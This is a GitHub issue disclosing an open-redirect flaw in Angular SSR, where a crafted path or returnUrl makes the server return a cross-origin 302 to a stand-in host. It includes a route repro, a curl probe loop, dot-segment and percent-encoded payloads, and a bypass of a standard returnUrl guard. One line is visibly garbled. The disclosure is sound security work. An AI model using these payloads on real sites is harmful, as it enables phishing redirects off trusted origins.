Sitelet https://github.com/angular/angular/issues/71076
Skip to content

Angular SSR pathname normalization can turn a same-origin navigation into an open redirect #71076

Description

@SkyZeroZx

Description

A route whose path ends in a parameter and has children is enough for AngularNodeAppEngine to return a cross-origin redirect from the request path alone — no application redirectTo, no guard, no resolver, no X-Forwarded-* control, no authentication:

GET /.;/(//evil.test)   ->   302 Location: //evil.test

A browser resolves //evil.test as protocol-relative and leaves the application's origin.

The Router serializes the navigation to /.//evil.test. That string starts with /., not //, and resolves to the application's own origin, so neither guard in ServerPlatformLocation.replaceState() fires , but WHATWG normalization pops the preceding segment, leaving pathname === '//evil.test'.
@angular/ssr then emits that pathname as the redirect target without normalizing it:

const { pathname, search, hash } = envInjector.get(PlatformLocation);

if (urlToRenderString !== finalUrl) {
  redirectTo = [pathname, search, hash].join("");
}

A pathname may legally begin with //, so nothing upstream is malformed. The comparison arm normalizes its inputs; the redirect arm does not.

Minimal Reproduction

import { Component } from "@angular/core";
import { RouterOutlet, Routes } from "@angular/router";

@Component({ imports: [RouterOutlet], template: "<router-outlet />" })
export class TenantLayout {}

@Component({ template: "tenant page" })
export class TenantPage {}

export const routes: Routes = [
  {
    path: ":tenant",
    component: TenantLayout,
    children: [{ path: "**", component: TenantPage }],
  },
];
npm run build
NG_ALLOWED_HOSTS=localhost PORT=4000 node dist/repro/server/server.mjs
for p in '/.;/(//evil.test)' '/xx;/(//evil.test)' '/acme'; do
  printf '%-22s ' "$p"
  curl -s -o /dev/null -w '%{http_code}  %{redirect_url}\n' --path-as-is "http://localhost:4000$p"
done
/.;/(//evil.test)      302  http://evil.test/
/xx;/(//evil.test)     302  http://localhost:4000/xx//evil.test
/acme                  200

The second line is the control: . replaced with xx removes the dot-segment pop and the redirect stays on the origin. /.;/(/evil.test) gives location: /evil.test, also same-origin , both the popping dot segment and the leading empty segment are required.

Minimal Reproduction

See https://github.com/SkyZeroZx/angular-ssr-router-open-redirect

Your Environment

22.2.0

Anything else relevant?

The canonical application-side mitigation does not stop it. A returnUrl check requiring a relative, non-protocol-relative path accepts /.;/(//evil.test), so an application that validated correctly still redirects off-origin:

export const returnUrlGuard = (route: ActivatedRouteSnapshot) => {
  const target = route.queryParamMap.get("returnUrl") ?? "/";
  if (!target.startsWith("/") || target.startsWith("//")) {
    return true;
  }
  return inject(Router).parseUrl(target);
};

With { path: "login", component: Login, canActivate: [returnUrlGuard] } added to the config above:

/login?returnUrl=%2F.%3B%2F(%2F%2Fevil.test)   302  location: //evil.test   <- accepted
/login?returnUrl=https%3A%2F%2Fevil.test       200  no redirect             <- rejected
/login?returnUrl=%2F%2Fevil.test               200  no redirect             <- rejected

router.navigateByurl(/sitelet?url=https%3A%2F%2Fgithub.com%2Fangular%2Fangular%2Fissues%2Ftarget) behaves the same. This moves the payload into a query parameter, so the delivered link is /login?returnUrl=... rather than a visibly odd path. search is concatenated unchanged, so query parameters reach the redirect target.

Also reachable without a literal . or // in the request: GET /%2e;/(/\evil.test) returns location: //evil.test, since %2e is decoded and \ normalized after any inspection of the raw path.

Affected shapes: a parameter route with children, plain or lazy, whose descendants can match a two-segment group, at URL depth ≤ 2. Childless parameter routes, children without a **, a ** child using redirectTo.

Activity

  1. added this to the needsTriage milestone on Sep 30, 2026
  2. added 3 commits that reference this issue on Sep 30, 2026
    928dcfd
    83944fc
    450af9c
  3. added a commit that references this issue on Sep 30, 2026
    d7d81e1
  4. added 3 commits that reference this issue on Sep 30, 2026
    aa3c990
    e8098db
    f10507e
  5. added 2 commits that reference this issue on Oct 2, 2026
    a1bffc2
    576df28
  6. angular-automatic-lock-bot commented on Oct 31, 2026

    @angular-automatic-lock-bot

    This issue has been automatically locked due to inactivity.
    Please file a new issue if you are encountering a similar or related problem.

    Read more about our automatic conversation locking policy.

    This action has been performed automatically by a bot.

  7. locked and limited conversation to collaborators on Oct 31, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    area: serverIssues related to server-side rendering

    Type

    No type

    Projects

    No projects

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions